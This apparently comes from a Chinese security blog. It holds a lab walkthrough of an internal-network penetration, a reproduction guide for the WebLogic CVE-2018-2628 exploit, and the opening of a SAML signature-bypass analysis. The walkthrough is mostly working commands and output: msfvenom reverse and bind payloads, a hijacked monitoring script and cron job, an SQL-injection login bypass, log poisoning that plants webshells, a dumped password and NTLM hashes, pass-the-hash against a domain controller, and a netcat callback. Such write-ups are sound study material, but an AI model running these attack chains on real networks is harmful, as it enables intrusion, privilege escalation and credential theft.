从以上探测结果可以发现该主机是Windows 2008 R2且开放了SMB和RDP，继续探测： 

root@kali:~# nmap --script=/usr/share/nmap/scripts/smb-enum-shares.nse -p 445 10.0.0.9

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-30 06:16 UTC
Nmap scan report for 10.0.0.9
Host is up (0.00019s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 0A:14:2C:84:E9:D2 (Unknown)

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\10.0.0.9\ADMIN$:
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Remote Admin
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.0.0.9\C$:
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Default share
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.0.0.9\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: Remote IPC
|     Anonymous access: READ
|     Current user access: READ/WRITE
|   \\10.0.0.9\Users:
|     Type: STYPE_DISKTREE
|     Comment:
|     Anonymous access: <none>
|     Current user access: READ
|   \\10.0.0.9\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Anonymous access: <none>
|     Current user access: READ
|   \\10.0.0.9\share:
|     Type: STYPE_DISKTREE
|     Comment:
|     Anonymous access: <none>
|_    Current user access: READ/WRITE

此时，我们发现该主机存在一个可读写的share folder\\10.0.0.9\share: 

root@kali:~# smbclient //10.0.0.9/share -N
WARNING: The "syslog" option is deprecated
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed May 30 06:16:59 2018
  ..                                  D        0  Wed May 30 06:16:59 2018
  logs.txt                            A    39404  Wed May 30 06:19:20 2018
  processMonitor.py                   A      576  Mon May 28 06:56:33 2018

		7863807 blocks of size 4096. 1680653 blocks available
smb: \>

为了进一步了解，登录我们用于渗透的另一台Windows主机（10.0.0.7）。 图片

发现，这个共享文件夹里包含了一个定期监控运行进程的python脚本。 

import win32com.client
import datetime

def logging(context):
    now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    f = open('c:\share\logs.txt', 'a')
    f.write('{}: {}'.format(now,context))
    f.close()

def process_monitor():
    wmi=win32com.client.GetObject('winmgmts:')
    for p in wmi.InstancesOf('win32_process'):
        logging("{}{}{}\n".format(p.Name, p.Properties_('ProcessId'), \
            int(p.Properties_('UserModeTime').Value)+int(p.Properties_('KernelModeTime').Value)))

if __name__ == "__main__":
    process_monitor()

由于该文件夹可读写，我们可以生成并放置一个meterpreter的payload，然后修改该python脚本来执行它，这样我们就可以得到一个meterpreter session了。 

root@kali:/var/www/html# msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.0.0.5 -f exe > s.exe

修改python脚本如下： 

import win32com.client
import datetime
from subprocess import call

def logging(context):
    now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    f = open('c:\share\logs.txt', 'a')
    f.write('{}: {}'.format(now,context))
    f.close()

def process_monitor():
    wmi=win32com.client.GetObject('winmgmts:')
    for p in wmi.InstancesOf('win32_process'):
        logging("{}{}{}\n".format(p.Name, p.Properties_('ProcessId'), \
            int(p.Properties_('UserModeTime').Value)+int(p.Properties_('KernelModeTime').Value)))

if __name__ == "__main__":
    process_monitor()
    call(["c:\share\s.exe"])

几分钟后，我们顺利地获得了一个meterpreter session了。 

msf exploit(handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                      Connection
  --  ----  ----                     -----------                      ----------
  2         meterpreter x64/windows  MONITOR\Administrator @ MONITOR  10.0.0.5:4444 -> 10.0.0.9:49536 (10.0.0.9)

meterpreter > getuid
Server username: MONITOR\Administrator
meterpreter > sysinfo
Computer        : MONITOR
OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Microsoft Teredo Tunneling Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::100:7f:fffe
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 13
============
Name         : AWS PV Network Device #0
Hardware MAC : 0a:14:2c:84:e9:d2
MTU          : 9001
IPv4 Address : 10.0.0.9
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::3053:3068:2bf6:272c
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 14
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:a00:9
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 20
============
Name         : AWS PV Network Device #1
Hardware MAC : 0a:17:b5:cb:d1:ac
MTU          : 9001
IPv4 Address : 10.0.1.9
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::2189:c3cf:68e3:aab9
IPv6 Netmask : ffff:ffff:ffff:ffff::

同时，可以看出这个机器具有多个网卡且横跨在2个网段中(10.0.0.9/24和10.0.1.9/24)。因此，我们也可以利用这个机器做跳板继续渗透10.0.1.0/24这段里的机器。 

meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 10.0.0.0/255.255.255.0
Local subnet: 10.0.1.0/255.255.255.0
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > route add 10.0.1.0 255.255.255.0 2
[*] Route added
msf exploit(handler) > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.0.1.0           255.255.255.0      Session 2

[*] There are currently no IPv6 routes defined.

利用auxiliary/scanner/portscan/tcp去扫描10.0.1.0/24段，如下： 

msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 10.0.1.0/24
RHOSTS => 10.0.1.0/24
msf auxiliary(tcp) > set PORTS 22,80,3306,445,3389,139,1433
PORTS => 22,80,3306,445,3389,139,1433
msf auxiliary(tcp) > set threads 20
threads => 20
msf auxiliary(tcp) > run

[+] 10.0.1.7:             - 10.0.1.7:445 - TCP OPEN
[+] 10.0.1.11:            - 10.0.1.11:80 - TCP OPEN
[+] 10.0.1.9:             - 10.0.1.9:445 - TCP OPEN
[+] 10.0.1.9:             - 10.0.1.9:139 - TCP OPEN
[+] 10.0.1.11:            - 10.0.1.11:22 - TCP OPEN
[+] 10.0.1.9:             - 10.0.1.9:3389 - TCP OPEN
[+] 10.0.1.7:             - 10.0.1.7:139 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:139 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:80 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:3389 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:3306 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:445 - TCP OPEN

我们任意选取其中的一台机器(如：10.0.1.11)，我们发现其开放了80和22端口。接下来，我们可以在session 2里设置端口转发，将攻击机(10.0.0.5)上的8080端口转发到目标机(10.0.1.7)上的80端口，方便我们后续的测试。 

msf auxiliary(tcp) > sessions 2
[*] Starting interaction with 2...

meterpreter > portfwd add -l 8080 -p 80 -r 10.0.1.11
[*] Local TCP relay created: :8080 <-> 10.0.1.11:80
meterpreter > portfwd list

Active Port Forwards
====================

   Index  Local         Remote        Direction
   -----  -----         ------        ---------
   1      0.0.0.0:8080  10.0.1.11:80  Forward

1 total active port forwards.

这时，我们再次登录我们的Windows渗透机器(10.0.0.7)来查看一下这是个什么网站。 图片10.0.1.11-1

经过测试发现，这个登录功能存在SQL Injection，可以通过以下的用户名和密码登录： 

username: admin
password: ' or '1'='1

图片10.0.1.11-2

经过观察发现，这个网站应该直接本地文件包含了web服务器的access_log，因此我们可以想到利用文件包含漏洞来生成一个webshell，具体步骤如下：

  1. 发送一个包含webshell代码的HTTP请求使其被写入到access_log里, 如一个仅包含上传功能的php小马 图片10.0.1.11-upload
  2. 访问http://10.0.0.5:8080/admin.php来文件包含access_log使其中的php代码被执行，从获取一个具备上传功能的php小马 图片10.0.1.11-admin
  3. 访问http://10.0.0.5:8080/upload.php并上传一个功能齐全的PHP webshell 图片10.0.1.11-shell
  4. 访问http://10.0.0.5:8080/shell.php并输入密码qwer，则成功地获取了一个webshell 图片10.0.1.11-webshell

利用webshell提供的功能我们发现这只是一个用于运行web service的低权限的用户(daemon)，那么接下来我们需要解决的问题就是本地提权到root权限。 图片10.0.1.11-info 图片10.0.1.11-cronjob 如上图，我们找到了一个777权限的root用户所拥有的cronjob文件/etc/cron.hourly/clean_up_access_log。看起来这个脚本似乎是用于定期清理access_log的。因此，我们似乎可以利用它来获得一个root权限的meterpreter shell。

首先，生成一个Linux的meterpreter payload并通过webshell上传到目标主机上并添加执行权限； 

root@kali:~# msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf > root.elf
system('chmod +x /opt/lampp/htdocs/root.elf');

接着，修改/etc/cron.hourly/clean_up_access_log使其可以执行我们上传的payload并等待cronjob的下次执行； 

system("echo '/opt/lampp/htdocs/root.elf' >> /etc/cron.hourly/clean_up_access_log");

最后，我们成功地在目标机器(10.0.1.11)上获得了一个root权限的meterpreter session，如下： 

msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 10.0.1.11
RHOST => 10.0.1.11
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x64/meterpreter/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  10.0.1.11        no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > run

[*] Started bind handler
[*] Sending stage (802416 bytes) to 10.0.1.11
[*] Meterpreter session 4 opened (10.0.0.5-10.0.0.9:0 -> 10.0.1.11:4444) at 2018-05-30 15:23:26 +0000

meterpreter > sysinfo
Computer     : 10.0.1.11
OS           : Ubuntu 16.04 (Linux 4.4.0-1060-aws)
Architecture : x64
Meterpreter  : x64/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > shell
Process 24394 created.
Channel 2 created.
id
uid=0(root) gid=0(root) groups=0(root)
ifconfig
eth0      Link encap:Ethernet  HWaddr 0a:3a:ea:dc:8a:44  
          inet addr:10.0.1.11  Bcast:10.0.1.255  Mask:255.255.255.0
          inet6 addr: fe80::83a:eaff:fedc:8a44/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
          RX packets:2703 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2973 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1105355 (1.1 MB)  TX bytes:672700 (672.7 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:192 errors:0 dropped:0 overruns:0 frame:0
          TX packets:192 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:14456 (14.4 KB)  TX bytes:14456 (14.4 KB)

ls -l /root
total 4
-rw------- 1 root root 84 May 25 10:10 readme.txt

利用上面获得的root权限的meterpreter session，我意外的发现了一个有趣的文件/root/readme.txt，其中包含了一个远程FTP(10.0.1.26)的口令和密码。 

cat /root/readme.txt
Credentials for FTP:
- IP: 10.0.1.26
- User: ftpadmin
- Password: nKG6aqwvveFutn$@

既然拿到了这个信息，我们不妨再次探测一下我们的下一个目标(10.0.1.26)。 

msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 10.0.1.26
RHOSTS => 10.0.1.26
msf auxiliary(tcp) > set threads 50
threads => 50
msf auxiliary(tcp) > set PORTS 1-1025,1433,3306,3389
PORTS => 1-1025,1433,3306,3389
msf auxiliary(tcp) > run

[+] 10.0.1.26:            - 10.0.1.26:21 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:80 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:139 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:135 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:445 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:443 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:3306 - TCP OPEN
[+] 10.0.1.26:            - 10.0.1.26:3389 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

果不其然，目标机（10.0.1.26）确实存在一个FTP站点。进入上面获得的session 2,在目标机10.0.0.9(10.0.1.9)上添加一个管理员账号: 

msf auxiliary(tcp) > sessions 2
[*] Starting interaction with 2...

meterpreter > shell
Process 1116 created.
Channel 147 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>net user test 1qazxsw2@ /add
net user test 1qazxsw2@ /add
The command completed successfully.

C:\Windows\system32>net localgroup administrators test /add
net localgroup administrators test /add
The command completed successfully.

C:\Windows\system32>

接着RDP到目标主机10.0.0.9(10.0.1.9)上，并尝试使用已经获取的口令登录。 图片10.0.1.26-FTP 结果显示，我们成功地登录了该FTP站点，且具备读写权限。另外，我们还发现该FTP为目标机10.0.1.26上的一个web站点的根目录。因此，我们可以通过该FTP轻松地上传一个webshell.php文件，如下： 图片10.0.1.26-Webshell 有了webshell我们便可以上传一个meterpreter payload来获取一个功能强大的meterpreter session了。 

msf auxiliary(tcp) > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 10.0.1.26
RHOST => 10.0.1.26
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     10.0.1.26        no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > run

[*] Started bind handler
[*] Sending stage (205379 bytes) to 10.0.1.26
[*] Meterpreter session 5 opened (10.0.0.5-10.0.0.9:0 -> 10.0.1.26:4444) at 2018-05-31 02:08:05 +0000

meterpreter > sysinfo
Computer        : IT-MANAGE-PC
OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : GBOX
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ifconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Microsoft Teredo Tunneling Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::100:7f:fffe
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 13
============
Name         : AWS PV Network Device #0
Hardware MAC : 0a:d9:e6:59:35:f0
MTU          : 9001
IPv4 Address : 10.0.1.26
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::4171:a218:74ca:871f
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 14
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:a00:11a
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

同时，我们发现目标机(10.0.1.26)是一个加入了GBOX域的机器，且DNS服务器的IP是10.0.1.7: 

meterpreter > shell
Process 4080 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\xampp\htdocs>ipconfig -all
ipconfig -all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : IT-MANAGE-PC
   Primary Dns Suffix  . . . . . . . : gbox.com
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : us-west-2.ec2-utilities.amazonaws.com
                                       ec2.internal
                                       us-east-1.ec2-utilities.amazonaws.com
                                       compute-1.internal
                                       us-west-2.compute.internal
                                       gbox.com

Ethernet adapter Local Area Connection 3:

   Connection-specific DNS Suffix  . : us-west-2.compute.internal
   Description . . . . . . . . . . . : AWS PV Network Device #0
   Physical Address. . . . . . . . . : 0A-D9-E6-59-35-F0
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::4171:a218:74ca:871f%13(Preferred)
   IPv4 Address. . . . . . . . . . . : 10.0.1.26(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Lease Obtained. . . . . . . . . . : Wednesday, May 30, 2018 4:32:21 AM
   Lease Expires . . . . . . . . . . : Thursday, May 31, 2018 3:02:46 AM
   Default Gateway . . . . . . . . . : 10.0.1.1
   DHCP Server . . . . . . . . . . . : 10.0.1.1
   DHCPv6 IAID . . . . . . . . . . . : 302649180
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-22-9D-15-7F-0A-0F-5C-B0-05-5E
   DNS Servers . . . . . . . . . . . : 10.0.1.7
   NetBIOS over Tcpip. . . . . . . . : Enabled

Tunnel adapter isatap.us-west-2.compute.internal:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : us-west-2.compute.internal
   Description . . . . . . . . . . . : Microsoft ISATAP Adapter
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

Tunnel adapter Local Area Connection* 11:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Microsoft Teredo Tunneling Adapter
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

那么接下来，我们的下一个目标就是IP为10.0.1.7的域控服务器了。
经过一系列测试，发现目标机似乎只接受来自IP10.0.1.26(Session 5)的流量，因此我们需要先添加一个专门的路由使我们的攻击机(10.0.0.5)流量可以抵达目标主机(10.0.1.7)。 

msf exploit(psexec) > route add 10.0.1.7 255.255.255.255 5
msf exploit(psexec) > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.0.1.0           255.255.255.0      Session 2
   10.0.1.7           255.255.255.255    Session 5

[*] There are currently no IPv6 routes defined.

首先，搜集利用hashdump命令收集一下主机10.0.1.26的所有密码Hash： 

msf exploit(handler) > sessions 5
[*] Starting interaction with 5...

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:616463a26de99900462a713770e806ab:::
gamebox:1001:aad3b435b51404eeaad3b435b51404ee:4ea29bdfa3e99248ce57c9f29d114a6f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

接着，我们可以尝试使用Pass The Hash来测试一下我们的目标机(10.0.1.7)，并成功地拿下了该域控服务器。 

msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting                                                    Required  Description
   ----                  ---------------                                                    --------  -----------
   RHOST                 10.0.1.7                                                           yes       The target address
   RPORT                 445                                                                yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                                                                      no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                     no        The service display name
   SERVICE_NAME                                                                             no        The service name
   SHARE                 ADMIN$                                                             yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             gbox                                                               no        The Windows domain to use for authentication
   SMBPass               aad3b435b51404eeaad3b435b51404ee:4ea29bdfa3e99248ce57c9f29d114a6f  no        The password for the specified username
   SMBUser               gamebox                                                            no        The username to authenticate as


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     10.0.1.7         no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(psexec) > run

[*] 10.0.1.7:445 - Connecting to the server...
[*] Started bind handler
[*] 10.0.1.7:445 - Authenticating to 10.0.1.7:445|gbox as user 'gamebox'...
[*] 10.0.1.7:445 - Selecting PowerShell target
[*] 10.0.1.7:445 - Executing the payload...
[+] 10.0.1.7:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (205379 bytes) to 10.0.1.7
[*] Meterpreter session 6 opened (10.0.0.5-_1_-10.0.0.9:0 -> 10.0.1.7:4444) at 2018-05-31 02:38:04 +0000

meterpreter > sysinfo
Computer        : DC
OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : GBOX
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ifconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Microsoft Teredo Tunneling Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::100:7f:fffe
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 13
============
Name         : AWS PV Network Device #0
Hardware MAC : 0a:ee:ba:e9:01:22
MTU          : 9001
IPv4 Address : 10.0.1.7
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::c907:5309:68a2:b1b8
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 14
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:a00:107
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

至此，我们已经成功地拿下了所有实验环境下的主机控制权限。 

msf exploit(psexec) > sessions

Active sessions
===============

  Id  Name  Type                     Information                               Connection
  --  ----  ----                     -----------                               ----------
  2         meterpreter x64/windows  MONITOR\Administrator @ MONITOR           10.0.0.5:4444 -> 10.0.0.9:51800 (10.0.0.9)
  4         meterpreter x64/linux    uid=0, gid=0, euid=0, egid=0 @ 10.0.1.11  10.0.0.5-10.0.0.9:0 -> 10.0.1.11:4444 (10.0.1.11)
  5         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ IT-MANAGE-PC        10.0.0.5-10.0.0.9:0 -> 10.0.1.26:4444 (10.0.1.26)
  6         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ DC                  10.0.0.5-_1_-10.0.0.9:0 -> 10.0.1.7:4444 (10.0.1.7)

0x02 小结

本文重点介绍了一个相对完整的内网渗透过程(即：外网主机-内网主机-内网域内主机-内网域控服务器)。当然，这只是个简单的实验环境，实际实战中遇到的情况会比这复杂很多(比如：各种反病毒程序的bypass，内网反入侵系统的检测的绕过等等)，但是基本思路和方法都是类似和相通的。另外，因笔者水平有限，文中表达不当或者不正确的地方，也敬请谅解和指正。

另，本文中所使用的实验环境是由笔者专门开发的弹性内网渗透系统随机生成的，支持随机组网和动态生成模拟内网环境。

安全分析

Oracle Weblogic Server Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)

Description

April 17, 2018, Oracle fixed a deserialization Remote Command Execution vulnerability (CVE-2018-2628) on Weblogic server WLS Core Components .

Vulnerable:

  • 10.3.6.0
  • 12.1.3.0
  • 12.2.1.2
  • 12.2.1.3

Environment

Run below commands to create a vulnerable Weblogic server (10.3.6.0): 

docker pull zhiqzhao/ubuntu_weblogic1036_domain
docker run -d -p 7001:7001 zhiqzhao/ubuntu_weblogic1036_domain

Reproduce Steps

Run below commands on JRMPListener host: 

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'

Start a listener on attacker host:

nc -nlvp 4040

Run exploit script on attacker host:

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
e.g. 
a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)

POC

Reference

安全分析

漏洞分析与实践之基于SAML实现的单点登录系统

0x00 前言

近日，笔者看到国外安全组织Duo Labs公布了一个比较有意思的漏洞，该漏洞影响了大部分基于SAML的SSO系统的实现，出于好奇进行了如下分析和实践，遂成此文。水平有限，不当之处敬请指正。

0x01 分析

什么是SAML

SAML全称Security Assertion Markup Language，顾名思义“安全声明标记语言”，它是一个为应用程序提供身份认证和授权的协议，通常应用于单点登录(SSO)系统。 

Security Assertion Markup Language (SAML, pronounced sam-el[1]) is an open standard for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. As its name implies, SAML is an XML-based markup language for security assertions (statements that service providers use to make access-control decisions). SAML is also:

    A set of XML-based protocol messages
    A set of protocol message bindings
    A set of profiles (utilizing all of the above)

SAML提供了一种只在一个统一的身份认证服务上完成用户认证即可访问其他授权第三方服务的方法，相当于“一次认证，处处访问”。

SAML包含以下几个概念：

  • Identity Provider (IdP) – 身份认证提供者 – 一个提供了用户身份识别和认证的软件或者服务，如：检查用户名和密码，校验用户状态，双因素认证等
  • Serivce Provider (SP) – 服务提供者 – 用户需要获取访问权限的应用系统
  • SAML Assertion – SAML声明 – 一个标识了用户身份和其他相关属性的消息

SAML是如何工作的

SAML的工作模式其实可以简化如下：

  • 用户A想要访问SP的资源
  • 用户A先访问IdP，完成一系列校验和身份认证后获得一个访问SP的SAML Response (包含SAML assertion和该SP所需要的相关的属性等)
  • 用户A带着从IdP获取到的SAML assertion去访问SP，并被授权访问相应的数据资源

SAML分为2种模式：

  • IdP-Initiated
  • SP-Initiated

二者的区别在于认证的工作流从什么地方开始。当用户首先访问到IdP（通常是一个统一认证的登陆页）完成身份认证后带着IdP生成的SAML assertion去访问SP并取得访问权限，这就是IdP-Initiated; 当用户首先访问SP但是被redirect到IdP并带着SAML request（作用是告诉IdP该用户想要登陆该SP，但是没有SAML assetion，请帮忙获取一个SAML assertion并redirect回到该SP），在IdP上完成身份认证后带着SAML assertion去访问之前的那个SP并取得访问权限，这就是SP-Inititated。

详细的解释可以参考这篇文章。

漏洞是怎么产生的

回到我们的正题了，这到底是个什么样的漏洞？又是如何产生的呢？

在上面SAML的基本介绍里，我们提到过基于SAML的SSO系统是通过SAML assertion来告诉SP是否该用户是经过身份认证并被授权访问的。为了说明白原理，我们来简化一下这个流程（实际上可能会比这个过程复杂）：

  • 用户访问一个IdP服务经过身份认证后得到一个签名后的SAML Response(包含SAML assertion)。用户的客户端浏览器把这个SAML Response转发到要访问的SP
  • SP校验这个转发过来的SAML Response的签名
  • 如果签名有效，SAML Response中的身份识别码（如NameID）将会被提取出来用以判断什么用户被认证通过了，从而授予相应的访问权限

一个比较简单但是典型的SAML Response的例子如下： 

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <SignedInfo>
            <CanonicalizationMethod Algorithm="xml-c14n11"/>
            <Reference URI="#_id1234"/>
        </SignedInfo>
        <SignatureValue>
            some base64 data that represents the signature of the assertion
        </SignatureValue>
    </Signature>
</SAMLResponse>

从上面这个例子中我们可以看到几个重点部分，NameID, CanonicalizationMethod以及SignatureValue，他们分别表示身份识别码，标准化签名方法，校验签名。

SP在校验签名时需要利用CanonicalizationMethod提取SAML Response中的NameID生成签名并与SAML Response中SignatureValue作对比，如果二者一致则表示签名校验成功并提取NameID中的值作为身份识别码并授予相应的访问权限；反之失败并拒绝用户请求。

通常的CanonicalizationMethod是http://www.w3.org/2001/10/xml-exc-c14n#, 而该方法在签名之前会先解析XML中节点且忽略注释部分，如 

<NameID>test@example<!--This is comment -->.com</NameID>

